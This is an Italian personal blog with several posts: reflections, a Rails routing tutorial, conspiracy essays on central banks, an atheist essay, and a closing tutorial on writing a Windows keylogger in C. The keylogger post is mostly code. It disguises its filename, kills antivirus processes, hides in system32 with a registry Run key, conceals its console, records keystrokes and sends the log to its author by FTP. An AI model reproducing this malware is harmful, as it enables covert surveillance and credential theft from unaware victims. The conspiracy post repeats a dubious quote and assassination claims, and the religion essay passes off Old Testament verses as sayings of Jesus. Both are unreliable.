Pubblicato da: VaLeRiO su: 2 febbraio 2009
Ti ha accolto alla nascita.
Era lì ai tuoi primi passi.
Al tuo primo sbaglio.
Al tuo primo bacio.
E’ con te quando vinci,
quando perdi,
quando ricominci di nuovo.
In ogni momento,
puoi sentirla.
La Vita.
Pubblicato da: VaLeRiO su: 28 gennaio 2009
Nel sito che presto pubblicherò mi sono ritrovato a dover gestire degli URL poco estetici e non adatti ai motori di ricerca.
Il sito tratta di vari paesi del mondo, con relativi menu e pagine.
Un paese (country) ha tanti menu e un menu ha tante pagine.
Un menu, appartiene soltanto ad un paese.
Una pagina, appartiene soltanto ad un menu.
Gli URL risultano sotto questa forma:
http://localhost:3000/country/x
Dove x è la chiave primaria (id) dello Stato (per esempio “Germania”, “Giappone”, …)
http://localhost:3000/menu/y
Dove y è la chiave primaria (id) del menu (per esempio “Territorio”, “Storia”, …)
http://localhost:3000/page/z
Dove z è la chiave primaria (id) della pagina (per esempio “Fiumi”, “Laghi”, …)
In questa maniera, la relazione tra paese, i suoi menu e le pagine và completamente persa in cambio di URL per niente chiari e molto “meccanici”.
Gli URL risultano così di default per la seguente proprietà in routes.rb
map.connect ‘:controller/:action/:id‘
Dove :controller è implicito (perchè stiamo già utilizzando quello di root), :action varia da “country” a “menu” o “page” e :id dipende dalla chiave primaria del record.
La soluzione del problema è semplice (se la si conosce xD). Aggiungere a routes.rb nuove proprietà (non anonime, per evitare di rallentare il framework):
map.show_country “/:country_name”, :controller => “home”, :action => “country”
map.show_menu “/:country_name/:menu_name”, :controller => “home”, :action => “menu”
map.show_page “/:country_name/:menu_name/:page_name”, :controller => “home”, :action => “page”
Dove il controller “home” è il controller di root, usato dal framework per passare da un paese all’altro o fra le varie pagine.
Nel controller “home” avremo:
def country
@country = Country.find_by_name(params[:country_name].capitalize)
enddef menu
@country = Country.find_by_name(params[:country_name].capitalize)
@menu = Menu.find_by_name(params[:menu_name].capitalize, :conditions => [ "country_id = ?", @country.id])
enddef page
@country = Country.find_by_name(params[:country_name].capitalize)
@menu = Menu.find_by_name(params[:menu_name].capitalize, :conditions => ["country_id = ?", @country.id])
@page = Page.find_by_name(params[:page_name].capitalize, :conditions => ["menu_id = ?", @menu.id])
end
Infine, nelle views, i paesi vanno così linkati:
link_to @country.name, show_country_path(:country_name => @country.name.downcase)
I menu:
link_to menu.name, show_menu_path(:country_name => @country.name.downcase, :menu_name => menu.name.downcase)
Le pagine:
link_to page.name, show_page_path(:country_name => @country.name.downcase, :menu_name => @menu.name.downcase, :page_name => page.name.downcase)
Gli URL risultanti saranno del tipo:
…
…http://localhost:3000/germania/
http://localhost:3000/giappone/storia/
http://localhost:3000/germania/territorio/laghi
…
…
Direi decisamente meglio
Ultima nota: avrete sicuramente notato dei .downcase e dei .capitalize.
Questo perchè negli URL i nomi deveno essere minuscoli, ma nel database e nelle views sono maiuscoli.
Spero di essere stato d’aiuto ![]()
Buon Rails a tutti
Pubblicato da: VaLeRiO su: 24 ottobre 2008
Convinciamo noi stessi che la vita impennerà quando la scuola sarà finita, avremo un lavoro, saremo sposati, nasceranno dei bambini e via dicendo. Poi, la delusione ci affliggerà perchè i bambini sono troppo piccoli e saremo sicuramente più contenti quando cresceranno. In seguito, saremo frustrati in quanto avremo a che fare con degli adolescenti. Troveremo la felicità quando saranno usciti da questa fase.
Ci diciamo che la nostra vita sarà completa quando avremo raggiunto i nostri obbiettivi, avremo una bella macchina, faremo delle belle vacanze ed andremo in pensione. La verità è, che non c’è un momento più felice di questo.
Se no, quando?
La nostra vita sarà sempre e comunque piena di sfide.
Pubblicato da: VaLeRiO su: 18 settembre 2008
I media controllano le informazioni che riceviamo. In diversi modi possono assicurarsi che il cittadino medio che guarda la tv e legge i giornali sviluppi determinate opinioni e predisposizioni mentali. Quando i media cominceranno a dire che il paese sprofonderà non farti ingannare è solo il sistema delle banche Centrali e del Debito Pubblico che cerca di salvarsi.
“Siamo veramente grati al Washington Post, al New York Times, al Time Magazine e alle altre grandi pubblicazioni, i cui direttori hanno preso parte ai nostri incontri ed hanno mantenuto la loro riservatezza per quasi 40 anni. Sarebbe stato impossibile per noi sviluppare il nostro piano per il mondo se fossimo stati esposti alle luci della pubblicità durante questi anni. ma ora il mondo è più sofisticato e preparato a marciare verso un Governo Mondiale. La sovranità sovra-nazionale di un’elite intellettuale e dei banchieri internazionali è senza dubbio preferibile all’ auto-determinazione nazionale praticata nei secoli scorsi! – David Rockefeller
“Credo che le istituzioni bancarie col potere di creare ed emettere moneta siano più pericolose per la libertà che eserciti in armi.” – Thomas Jefferson
“Chi controlla il denaro controlla il mondo.” – Henry Kissinger
“E’ un bene che la gente non comprenda il funzionamento del nostro sistema bancario e monetario, perchè se accadesse credo che scoppierebbe una rivoluzione prima di domani mattina.” – Henry Ford
L’ultima alternativa dell’umanità è alzarsi o essere schiaccaiata da tutto questo. Bisogna obbligare i Governi ad utilizzare il loro potere legale per fermare le Banche Centrali. Il governo ha l’autorità per emettere moneta senza dover pagare gli interessi ai banchieri, sia J.F. Kennedy che Abraham Lincoln avevano fatto un decreto per questo, ma sono stati assassinati. E’ l’unico modo per spezzare il potere che hanno i banchieri. La Banca d’Italia deve tornare al popolo, i 60 miliardi di riserve auree appartengono a noi.
Liberamente tratto dal film di Aaron Russo “America: dalla libertà al fascismo”.
Pubblicato da: VaLeRiO su: 13 settembre 2008
L’intero sistema nel quale viviamo ci ripete continuamente che siamo impotenti, che siamo deboli, che la nostra società è malata, che il crimine dilaga, e così via .. E’ tutto una grossa, enorme bugia. Noi siamo forti, belli, straordinari. Non c’è alcun motivo per cui non si possa capire chi siamo e dove stiamo andando. Non c’è alcun motivo per cui l’individuo medio non possa avere pieno potere. Noi siamo creature incredibilmente forti.
Nella nostra cultura siamo stati abituati a risaltare le differenze individuali. Quando guardiamo una persona l’osservazione immediata è: “Rispetto a me è più vecchio, più giovane, più ricco, più povero ..”. Facciamo questo tipo di distinzioni, inseriamo le persone in categorie e le trattiamo di conseguenza. E così vediamo gli altri individui solamente diversi da noi, diversi secondo il modo in cui li abbiamo separati. E uno dei più incredibili aspetti dell’esperienza è di stare con un’altra persona e di vedere all’improvviso gli aspetti in comune, non quelli differenti. E di sperimentare il fatto che l’essenza che è in te e l’essenza che è in me è in realtà la stessa. Il comprendere che non c’è nessun “altro”. E’ un tutt’uno.
Sono solo nato come essere umano, poi ho compreso tutto il resto, chi sono, se sono buono, se sono cattivo, capace o meno. Tutto questo si impara lungo il cammino.
Quando la forza dell’amore supererà l’amore di potere, il mondo conoscerà la pace. – Sri Chimnoy Ghose
I vecchi richiami allo sciovinismo razziale, sessuale, e religioso fino ad arrivare al rabbioso fervore nazionalistico stanno cominciando a non avere più effetto. Si sta sviluppando una nuova consapevolezza che vede la Terra come un unico organismo e ci si rende conto che un organismo in guerra con sè stesso è condannato.
The Revolution is Now.
Pubblicato da: VaLeRiO su: 11 settembre 2008
Più cominciate a chiedervi cosa pensiamo di conoscere bene, da dove veniamo, cosa crediamo di stare facendo, più cominciate a capire che veniamo ingannati.
Siamo stati ingannati delle Istituzioni. Anche le istituzioni religiose di questo mondo, che sono state create dalle stesse persone che ci hanno dato il nostro governo, la nostra corrotta educazione, che hanno fondato i cartelli bancari internazionali.
Perchè a chi sta in alto non interessa un accidente di voi o della vostra famiglia. Tutto ciò di cui si preoccupano, di cui si sono sempre preoccupati è il potere del controllo.
Siamo stati fuorviati dalla vera e divina presenza dell’Universo, a cui gli uomini hanno dato il nome di Dio. Io non so chi/cosa “Dio” sia, ma so quello che non è, e a meno che e finchè non sarete pronti a guardare all’intera verità, ovunque essa vada, a chiunque essa ci conduca, se preferite guardare dietro alle cose o essere superficiali, non vi renderete conto di stare giocando con la giustizia divina.
Più informate voi stessi, più capirete da dove provengono le cose, più le cose diverranno chiare e comincerete a vedere menzogne ovunque. Dovete conoscere la verità, ricercare la verità, e la verità vi renderà liberi.
Fanno fatica a crederci coloro che hanno preso l’autorità per verità piuttosto che la verità per autorità.
Pubblicato da: VaLeRiO su: 23 maggio 2008
qualcuno ha detto..
Mai sentito parlare di elezioni truccate?
In ogni caso hai sott’inteso una profonda verità: dipende dalla cultura del popolo. Quando un popolo perde la bussola e baratta la propria libertà per un’illusione è l’inizio della tirannia. I regimi fondamentalisti ed illiberali spesso iniziano per volontà del popolo.
Infatti uno degli assiomi della democrazia è che i cittadini devono avere sempre tutti gli strumenti per poter decidere, cioè cultura ed informazione. Mancando questi ultimi la democrazia semplicemente rimane un’illusione e le elezioni per definizione sono “truccate“.
Ogni riferimento alla realtà italiana è casuale..
Che tristezza.
Parole di Flaiano:
Italia, paese di porci e di mascalzoni. Il paese delle mistificazioni alimentari, della fede utilitaria (l’attesa del miracolo a tutti i livelli), della mancanza di senso civico, della protesta teppistica, un paese di ladri e di bagnini che aspettano l’estate, un paese che vive per le lotterie ed il gioco del calcio, per le canzoni e le ferie pagate. Un paese che conserva tutti i suoi escrementi.
Aspettando la cascata inesorabile che darà a questo paese ciò che si merita.
La storia di quei tali che stanno precipitando sorretti da una speranza..
E anche io dico: “Ogni riferimento alla realtà italiana è casuale..”
Pubblicato da: VaLeRiO su: 15 maggio 2008
Nel 1988, Albert, si trovava in Africa Meridionale. Era in un viaggio d’istruzione offerto dalla sua scuola dopo il conseguimento di una borsa di studio. Si trovava in macchina, quando scorse a lato della strada, oltre alcuni alberi, un leone giaccente a terra. Fermò la macchina e cercò di vederlo meglio. Era molto inquieto e non riusciva ad alzarsi pur gli enormi sforzi che impiegava nel tentare di farlo. Decise di aiutare l’animale. Si avvicinò lentamente con molta cautela: un solo passo falso e l’animale l’avrebbe sbranato.
Arrivato ad una distanza di due metri circa vide attorno ad una zampa del sangue. Lentamente si inginocchiò di fianco al leone e cominciò a esaminare la zampa interessata. Notò subito che l’animale aveva camminato sopra dei vetri e uno di questi gli era profondamente penetrato. Verificò che il vetro non avesse reciso alcuna arteria e proseguì poi, con tutta la gentilezza e accuratezza di cui disponeva nell’estrarre il vetro. Quindi si rialzò e attese la reazione del leone. Anch’esso cominciò lentamente a rialzarsi e dopo qualche secondo riuscì a rimettersi in piedi. Zoppicava ma sarebbe guarito. Guardò Albert negli occhi per lunghi e intensi secondi. Albert pregava che il leone non lo sbranasse. Esso, chiuse gli occhi e fece un cenno con la testa come per ringraziare e si girò tornando in mezzo al bosco. Albert non dimenticò mai quel leone e di quello che successe quel giorno.
Venti anni dopo, Albert si trovava allo Zoo con suo figlio. Arrivati nella zona predisposta per i leoni si fermarono ad osservarli. Uno di questi, notato Albert, si avvicinò alla recinzione e lo guardo intensamente nello stesso modo in cui l’aveva fatto il leone che aveva salvato venti anni prima. Il leone leccò ripetutamente la zampa sinistra, proprio quella ferita del leone che Albert aveva salvato. Ripetè questo gesto svariate volte, facendo delle pause nelle quali fissava Albert. Egli era estereffato e cominciò a credere che quel leone fosse proprio il leone che aveva salvato. Invocò allora tutto il suo coraggio per aprire la porta del recinto ed entrare dal leone. Camminò verso di esso e anch’esso camminò verso di lui. Arrivati a due metri di distanza Albert si fermò, mentre il leone continuò a camminare. A qualche centimetro di distanza, il leone fissò Albert per una decina di secondi. Poi, gli saltò addosso strappandogli con un morso un braccio. Stessa sorte anche per una gamba. Inoltre, cadendo, Albert sbattè violentemente la testa per terra. Nel frattempo i guardiani del parco erano arrivati e riuscirono ad addormentare il leone sparandogli con fucili appositi e a trascinare via Albert. Egli si svegliò dal coma dopo un anno e nove mesi. Era paralizzato, non avrebbe potuto mai più muoversi.
Probabilmente non era lo stesso leone.
Pubblicato da: VaLeRiO su: 11 aprile 2008
Inizio a scrivere questo post nutrendo profondi dubbi riguardo alla comprensione da parte di terzi dello stesso. Quando mi districo in scritture impegnative il risultato è quasi sempre una bella pergamena indecifrabile. Premesso questo, passiamo ad altre premesse.
Cominciamo leggendo alcune informazioni interessanti (non dare giudizi affrettati):
State pensando che qualche dato non corrisponde perfettamente come ad esempio il mirto invece che la mirra.
Direste sicuramente però che questo è Gesù Cristo. Io vi sorprendo:
Egli è Virishna, Dio orientale, esistito 1200 anni prima dell’esistenza di Gesù.
Nella storia vengono citati decine di figli di Dio. Mithra o Mitras (Nemrod) figlio di Dio, nato il 25 Dicembre da una madre vergine, successivamente crocifisso e resuscitato a Pasqua, il 25 marzo. Il culto di Mithra si è diffuso dalla Persia all’Impero Romano.
Horus, il figlio di Dio in Egitto, è stato un altro possibile modello per creare il personaggio di Gesù.
Le correlazioni tra i due sono eclatanti:
Gesù è nato il 25 dicembre come Krisna, Zoroastro, Attis, Adonis ed altri.
Gesù ha guarito dei malati e ha resuscitato dei morti, così come hanno fatto anche Krishna, Bouddha, Zoroastre, Bochia, Osiris, Serapis, Mardouk ed altri. Gesù è nato da una vergine. Allo stesso modo sono nati Krishna, Bouddha, Lao-Tseu, Conficius, Zoroastro , Attis, Ra e tanti altri.
Gesù è stato crocifisso in primavera con due ladroni come Krisna, Baal.
I dati di fatto sopracitati fanno pensare senza dubbio che sia molto strano che 1200 anni prima di Gesù, già una persona con la sua stessa storia fosse esistita. Fa anche molto effetto la lista di tutti gli altri Dei che hanno forti somiglianze con il Dio cristiano.
Se proviamo a rifletterci su un’attimo, il denominatore comune c’è sempre in tutti gli Dei, cambiano soltanto i nomi ed alcuni attributi che vengono aggiunti con il passare dei secoli. Attributi che l’uomo necessita aggiungere e modificare.
L’uomo ha sempre avuto bisogno di un Dio. Fin da quando viveva nelle caverne.
Ha sempre creato un Dio per qualcosa che non riusciva a spiegare.
Non capisce perchè dal cielo cade acqua e inventa il Dio della pioggia.
Non capisce come funziona il fuoco e inventa il Dio del fuoco.
Non capisce perchè il sole và e viene e inventa il Dio del sole.
E fà sacrifici, riti, preghiere verso i suoi Dei perchè lo assistano. Ha bisogno di credere. Ha bisogno di speranze.
Perchè man mano che alcuni uomini riuscivano a spiegare la pioggia, il fuoco e via dicendo questi Dei sono scomparsi?
Ora, le uniche domande alle quali non abbiamo risposte dalla Scienza sono meta-fisiche.
Da dove veniamo? Qual’è il nostro scopo? Dove finiremo una volta morti?
E non fà riflettere che dal Dio odierno noi cerchiamo le risposte proprio a queste domande?
E’ bello credere che dopo la morte ci sia il Paradiso.
E’ bello credere che c’è qualcuno che ci aiuta quando abbiamo bisogno di aiuto e che possiamo invocare con delle pregherie.
Se ci pensiamo a fondo, quello che andiamo a cercare in Dio è proprio protezione, sicurezza.
Quando c’è un problema più grande di noi ci tranquillizza pregare, sperare.
Se abbiamo un problema, dobbiamo contare su noi stessi e sulle persone che amiamo.
Se abbiamo una grave malattia, faremo tutto ciò che è in nostro potere per trovare un rimedio.
Pregare, non cambierà le cose. Forse, ci farà sentire un pò più speranzosi. Ma inconsciamente sappiamo benissimo che non sarà determinata dalla fede la guarigione.
Se tutta l’umanità fino al giorno d’oggi, avesse seguito la filosofia della preghiera ci troveremmo ancora a cacciare conigli, a morire a 10 anni, a fare fatica a comunicare fra di noi. Non avremmo la medicina che abbiamo oggi, la tecnologia, la meccanica, l’elettronica e tutto quello che ci circonda. A mio parere, non è un caso che la fede estrema, bigotta, sia maggiormente diffusa in classe sociali “medio-basse”. Dove l’”ipse dixit” è la risposta a tutte le domande.
Ecco alcune frasi dette da Gesù che si possono trovare in alcuni vangeli apocrifi.
Non entrerà nella comunità del Signore chi ha il membro contuso o mutilato. Il bastardo non entrerà nella comunità del Signore; nessuno dei suoi, neppure alla decima generazione, entrerà nella comunità del Signore.
Perciò dice il Signore: Ecco manderò su di loro una sventura alla quale non potranno sfuggire. Allora leveranno grida di aiuto verso di me, ma io non li ascolterò.
Per questo così dice il Signore: Ecco io manderò sopra di loro dei mali da cui non potranno uscire; essi grideranno verso di me, ma io non li esaudirò.
Bibbia Ed. Paoline 1969
Farò su di loro terribili vendette, castighi furiosi, e sapranno che io sono il Signore, quando eseguirò su di loro la vendetta…
Così dice il Signore: “Maledetto l’uomo che confida nell’uomo…
Perciò dalla tua immondezza non sarai purificata finché non avrò sfogato su di te la mia collera. Io, il Signore, ho parlato! Questo avverrà, lo compirò senza revoca; non avrò né pietà, né compassione. Ti giudicherò secondo la tua condotta e i tuoi misfatti. Oracolo del Signore Dio.
Ecco allora che l’immagine del Gesù che porge l’altra guancia svanisce.
Ma è possibile che le persone, sopratutto coloro che credono con tutti loro stessi in lui, non conoscano questo suo lato in quanto è stato nascosto per millenni. Chi può aver tratto guadagno nascondendolo? Ok, avevo promesso di non parlare di Chiesa, mantengo la promessa! E’ quindi chiaro come sia impossibile arrivare alla vera verità. D’altronde anche al giorno d’oggi l’informazione viene distorta, trasformata, repressa in base ai propri interessi. E io mi chiedo: se al giorno d’oggi, con Internet come fonte di verità si può far credere che un’influenza di un personaggio importante sia una grave malattia terminale, in duemila anni come sono state distorte le informazioni? Forse Gesù era solo una persona normale con tanta intraprendenza e spirito rivoluzionario. Supponiamo che Giulio Cesare non fosse stato ucciso in quel modo e che l’impero Romano non fosse rovinato. Forse ora lui sarebbe il nostro Dio. Di lui si racconterebbero storie incredibili. E di generazione in generazione nuove gesta, nuovi miracoli gli sarebbero stati accreditati. E man mano alcune persone si sarebbero rese conto di quanto potesse essere proficuo costruire dei luoghi di preghiera (Chiese) e di quanto potesse esserlo anche istituire delle comunità che poi si sarebbero potute controllare e gestire solo con semplice menzogne radicate nei centenni precedenti.
Questa era la parte “storica” della mia non credenza in Dio. Ora, passo alla parte prettamente filosofica.
La mia visione della vita è totalmente laica. Forse anche per questo, non riesco a credere in Dio. Ugualmente non credo nei fantasmi, nei maghi, nelle streghe, nei santi e via dicendo. Se non ho la conferma del perchè di una cosa allora sospenderò il mio giudizio verso tale cosa fino ad avere una risposta scientificamente provata a riguardo. Spesso, si associa alla “fede nella scienza” qualcosa di sbagliato. Secondo me non lo è. Preferisco credere solo in ciò che vedo. Lo vediamo tutti i giorni che fine fanno molti “creduloni”. Alcuni finiscono al verde per colpa di indovini che li prosciugano in cambio di essere salvati dalle maledizioni, altri che votano la persona che li licenzierà o gli dimezzerà lo stipendio ecc.. Io penso che tutto questo sia dovuto a una visione troppo non laica della vita.
Spesso si associa all’ateismo o similari una mancanza di principi. Non è assolutamente vero. Io ho tanti principi che vanno dall’amore, all’amicizia, alla pace, alla fratellanza e tanto altro. Certamente, ho più valori io che gli “uomini di Chiesa” che stuprano i bambini o fanno guerre per il loro Dio.
Quando ero piccolo, credevo in Dio. Ero sicuro della sua esistenza, ma ripensandoci ora, avevo un pò le fette di salame sugli occhi. Credevo, forse, perchè andavo in una scuola privata di suore. Ogni giorno preghiere, lodi e quant’altro. Ero contento di celebrare insieme agli altri. Crescendo, però, ho cominciato a pensare, partendo da piccole cose fino a essere convinto delle mie idee. Mi sono sentito stupido nell’aver creduto in Dio solo perchè così mi era stato insegnato. Mi sono sentito tradito da me stesso nell’avere accettato la fede senza aver avuto la certezza di averla.
Da allora, ho cominciato a vedere le cose, a mio avviso, più chiaramente. Ho cominciato a chiedermi se anche le formiche, gli elefanti, le mosche, le api, i cani, i gatti, le piante ecc.. andassero nel tanto discusso paradiso. Pensavo che se così non fosse, sarebbe stata una profonda ingiustizia. E se invece così fosse stato, il paradiso sarebbe già stracolmo.
La mia idea sul ciclo della vita è molto semplice e basilare: Nasciamo, viviamo e muoriamo.
Siamo il risultato dell’intera vita della Terra, che in tutta la sua esistenza, grazie alla selezione naturale ha migliorato continuamente le specie viventi. Ancora adesso, di centennio in centennio miglioriamo lentamente. Viviamo sempre di più. E questo non è dovuto a Dio, è dovuto alle circostanze. E’ dovuto al miglioramento che la vita ha avuto. Quando l’uomo ha cominciato a scoprire che la carne cotta era migliore di quella cruda, ha cominciato a tramandarlo di generazione in generazione, aumentando la qualità della vita. Ogni generazione faceva una nuova scoperta fino ad arrivare allo stato attuale. Ci si chiede però: e prima dell’uomo che mangiava la carne cruda, cosa c’era? C’erano i microorganismi che allo stesso modo si sono evoluti fino alla scimmia. Altra domanda: e chi ha creato gli organismi? A questa domanda non so rispondere. La teoria del Big-Bang è la più credibile, ma le sostante che hanno provocato il Big-Bang da dove derivano? Da Dio? E Dio allora, da dove deriva? Questa è un’incognita che credo mi rimarrà per tutta la mia vita. Le origini delle origini.
Passiamo ora alla parte della vita. Nel corso dei millenni, la posizione dell’uomo è stata risaltata rispetto a quella degli altri essere viventi. La nostra posizione è stata centralizzata, come se tutto girasse intorno a noi. Per me non è così. Il fatto che siamo più intelligenti rispetto alle altre specie non significa che noi siamo l’Essere. Abbiamo la stessa importanza di un criceto o di una lucertola. Se le lucertole fossero state più sviluppate di noi, ora loro avrebbero le autostrade, i computer, i libri, la parola. Loro ci schiaccerebbero e ci analizzerebbero. Loro si riserverebbero la speranza nella vita dopo la morte. Mentre noi, passeremmo la nostra vita a mangiare, bere, dormire.
E infine la morte. Questa è forse l’unica parte difficile da spiegare. Essendo noi comunissimi esseri mortali, una volta morti, siamo finiti. Il nulla eterno diceva qualcuno (eheh)! Il nostro cervello smette di funzionare. Così il cuore e tutti i nostri organi. Funziona così da milioni di anni. Siamo piccolissimi aghi in un pagliaio gigantesco. Non abbiamo alcuna importanza. Tantomeno abbiamo il diritto di un’altra vita. Svaniamo nel nulla, spariamo. Il nostro corpo viene sepolto ma è materia inanimata. Sepellire un rotolo di domopack sarebbe lo stesso. Abbiamo perso irriparabilmente il privilegio che ci è stato donato alla nascita. E la nostra vita è semplicemente finita. Abbiamo avuto le nostre possibilità e abbiamo seguito la naturale sequenza di vita degli esseri terrestri.
L’unico modo per continuare a esistere è vivere nei ricordi delle persone. Proprio come ha fatto Gesù! Forse proprio per questo motivo gli è stata attribuita l’immortalità.
Credo di avere finito. Credo di non aver fatto troppo casino. Credo di non aver mancato di rispetto ai credenti.
Spero che se la Chiesa dovesse leggere questo post non mi perseguiti. Spero che se Gesù in realtà esiste, sia veramente così misericordioso, se no dopo questo testo andrei diritto in Inferno!
ps. Grazie a Pane per alcune correzioni grammaticali ![]()
ps2. Sempre per Pane che mi ha chiesto di scrivere qualcosa riguardo ai miracoli:
In particolare:
“Le miracolose guarigioni che la scienza non riesce a spiegare e che vengono attribuite a Dio, a padre Pio ecc.. che avvengono in soggetti che magari la notte prima hanno sognato Dio/Padre Pio/altri santi, oppure li hanno proprio visti o hanno avvertito un loro segno particolare.”
Dopo aver letto questo testo è abbastanza chiaro che non credo nei miracoli. Piuttosto penso siano delle parageusie che si creano in soggetti predisposti a questo tipo di particolare esperienza. Mi spiego meglio: come mai, ad esempio, contatti con degli extraterrestri avvengono quasi sempre da parte di soggetti non mentalmente stabili oppure con gravi problemi spesso trascinati fin dall’infanzia? Avevo visto qualche tempo fà, in televisione, un uomo che diceva di essere stato rapito dagli alieni fin da giovane e che ancora 20 anni dopo, regolarmente, veniva preso e analizzato da loro. Diceva inoltre che gli era stato trapiantato in testa un chip. Ha raccontato per ore e ore di storie incredibili. A fine trasmissione, gli è stato proposto di fare delle analisi scientifiche per verificare che veramente avesse questo chip in testa. Ha rifiutato e se n’è andato.
Analogamente, una donna di mezza età che conosco dice che dopo un’indigestione che la ha portata alla coma ha visto i cancelli del paradiso con qualche Santo che non ricordo. Dando per scontato che non abbia raccontato questa storia sapendo di mentire, soltanto per la “fama” come ha fatto l’altro uomo, è possibilissimo che abbia sognato quella cosa. Ma è una semplice autosuggestione. Anche io sogno di volare, di attraversare i muri ecc.. ma questo non significa che ciò sia possibile e sopratutto che sia accaduto.
Poi bisogna anche sempre considerare che a tutti piace raccontare storie. C’è chi lo fà scrivendo libri e chi lo fà andando in televisione.
Pubblicato da: VaLeRiO su: 27 marzo 2008
In questo post scriverò un piccolo tutorial per la creazione di un Keylogger.
Le premesse da fare sono tante, sopratutto quelle di tipo etico-morale. L’obbiettivo di ogni cosa che facciamo in campo informatico è sempre e solo l’apprendimento. Questo tutorial è quindi rivolto a coloro che vogliono conoscere il mondo dell’Hacking per scopi puramente didattici. A questo proposito, ho pensato di non mettere il codice per intero, così che se una persona fosse veramente interessata a imparare dovesse sudarsi il resto del programma. Ovviamente, se qualcuno ha bisogno e non riesce da solo può contattarmi e sarò disposto ad aiutarlo. In questo modo, qualsiasi tipo di Lamer ha la “carriera” stroncata
Premesso ciò, cominciamo con quello di cui avremo bisogno:
Scriveremo il Keylogger in C perchè ha l’accesso alle API (Advanced Program Interface) necessarie per l’esistenza dello stesso. Mi sarebbe piaciuto farlo in Java ma non è possibile catturare eventi da tastiera se non in determinate circostanze. Con il C invece, questo è possibile anche con il programma in background. Funzionerà solo su un sistema Windows perchè blabla.. N/C.
Allora, siamo pronti ad iniziare. Cominciamo spiegando il funzionamento di un Keylogger. Una volta approdato sul sistema, il Keylogger si autoinstalla, aggiungendosi nel registro dell’avvio automatico del sistema. Ma come fà esso a sapere che non è gia installato? Si può provare così:
if(strcmp(argv[0],”wrsmcc.exe”)!=0){
Questa condizione, controlla se il nome del file cioè argv[0] (che viene passato al main di default) è “wrsmcc.exe”. Quando il Keylogger non è ancora installato il suo nome potrebbe essere Aprimi.exe, Giochino.exe o quello che si preferisce. “wrsmcc.exe” o “sonounkeyloggerinstallato.exe” o anche solo “keylogger.exe” (gli ultimi 2 non sono molto intelligenti) è il nome che il Keylogger assume una volta installato. Quindi, se il Keylogger si chiama “wrsmcc.exe” significa che è gia stato installato e ripetere l’installazione oltre a essere inutile è anche pericoloso. Al primo avvio, esso non sarà già installato quindi procediamo. Tentiamo di chiudere un pò di antivirus/firewall/anti-spyware in questo modo:
system(“TASKKILL /IM antivirus.exe”);
dove “antivirus.exe” è l’antivirus che vogliamo terminare. Sarebbe utile avere una lista di tutti i nomi dei processi di antivirus e tentare di fare tabularasa. Ovviamente non è per niente sicuro che questo funzioni: alcuni anti-spyware/antivirus/blablabla hanno protezioni rispetto a questo tipo di minaccia. Infatti essi semplicemente si dichiarano come servizi di sistema e non si fanno terminare come normali processi. Comunque, nel 90% dei casi, questo metodo può funzionare. Terminare le protezioni è necessario soltanto per fare in modo che l’ignaro utente non si accorga della nuova voce aggiunta nello startup. Per il resto, gli antivir/blabla/blabla non si accorgeranno che il programma è un Keylogger visto che non è mai stato diffuso (ed è meglio così mi raccomando
). Il prossimo passo, è prendere la cartella corrente e aggiungergi il nome del file eseguito. Poi spostare il file dentro una directory bella nascosta cambiandogli nome:
char *buffer = (char*)malloc(600);
char *path = getcwd(buffer,600);
strcat(path,argv[0]);
rename(path,”C:\\WINDOWS\\system32\\wrsmcc.exe”);
Ora che abbiamo il Keylogger infiltrato dove l’utente mai lo troverà, aggiungiamolo allo startup:
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0,KEY_SET_VALUE,&key);
RegSetValueEx(key,”Keylogger Mascherato si è Infiltrato”,0,REG_SZ,path,32);
RegCloseKey(key);
Il pezzo di codice sopra crea una chiave nel registro nell’avvio automatico. Così, a ogni avvio del sistema partirà anche il Keylogger. Fatto questo, siamo pronti per iniziare a Keyloggare (non ripetetelo mai). E’ importante aver definito in questo modo il file dove salveremo il log:
#define FileName “C:\\WINDOWS\\system32\\postoimboscato\\sottocartellaimboscata\\blabla.dll”
L’estensione è dll così che si nasconda ancora di più. Un utente medio avrà anche paura a toccare un file “dll”. Se fosse stato .txt magari avrebbe forse fatto un doppio click. A noi tanto non cambia niente. Testo contiene e file di testo è. Apriamo quindi il file, scriviamo qualche informazione riguardante l’inizio del Keyloggin e lo chiudiamo:
FILE *file;
file = fopen(FileName,”a+”);
time_t theTime = time(0);
fputs(“\nStarted Logging: “,file);
fputs(ctime(&theTime),file);
fclose(file);
Prima di procedere, altra importantissima nota da fare: essendo il programma senza GUI, quindi visualizzato da console, all’avvio di esso ne si aprirà una che desterà non pochi sospetti. Per risolvere:
HWND hide;
AllocConsole();
hide = FindWindowA(“ConsoleWindowClass”,NULL);
ShowWindow(hide,0);
Ora, le operazioni iniziali sono terminate. Dal main richiamiamo la funzione cuore che svolgerà tutto il lavoro. Ci appoggiamo alla funzione getAsyncKeyState(int vKey); Lascio la spiegazione alla schifosoft .. ehh! volevo dire Microsoft ©. Bene, possiamo fare una cosa di questo tipo:
short c;
while(1) {
sleep(10);
for(c = 8; c<=222;c++) {
if(GetAsyncKeyState(c)==-32767) {
FILE *file;
file = fopen(FileName,”a+”);
if((c>=39)&&(c<=64)) {
fputc(c,file);
fclose(file);
break;
}else[...]
In questo modo, ogni 10 ms (ho messo 10 ms per non sovraccaricare il sistema) si esegue lo scan, si scrive nel file il numero ASCII trovato sotto forma del corrispondente carattere e lo si chiude. Si ritorna su in alto nel ciclo e si ricomincia di nuovo. Ovviamente bisogna controllare quale è il carattere. Se è un carattere normale e lo si può mettere direttamente dentro nel file così com’è oppure se è un carattere speciale. Es:
if([..]) {
switch(c) {
case VK_SPACE:
fputc(‘ ‘,file);
fclose(file);
break;
case VK_RETURN:
fputs(“\n”,file);
fclose(file);
break;[..]
L’ultimo punto, il più importante da un certo punto di vista, è il trasferimento del file di log “carico” di dati dalla vittima, a noi. Con questo pezzo di codice, si controlla la dimensione del file e se maggiore di mezzo mega esegue un invio via FTP e lo azzera. (la funzione sendFTP(); è scritta a mano. Buona fortuna, io ci ho bestemmiato dietro 2 giorni).
int fReadIndex;
char *buffer;
long length;
FILE *file;
file = fopen(FileName,”rb”);
fseek(file,0,SEEK_END);
length = ftell(file);
if(length>=512000) {
fseek(file,0,SEEK_SET);
buffer = (char*)malloc(length);
fReadIndex = fread(buffer,1,length,file);
buffer[fReadIndex] = ‘backslash 0′//Il CMS non me lo fa scrivere
fclose(file);
sendFTP();
file = fopen(FileName,”w”);
}
fclose(file);
free(buffer);
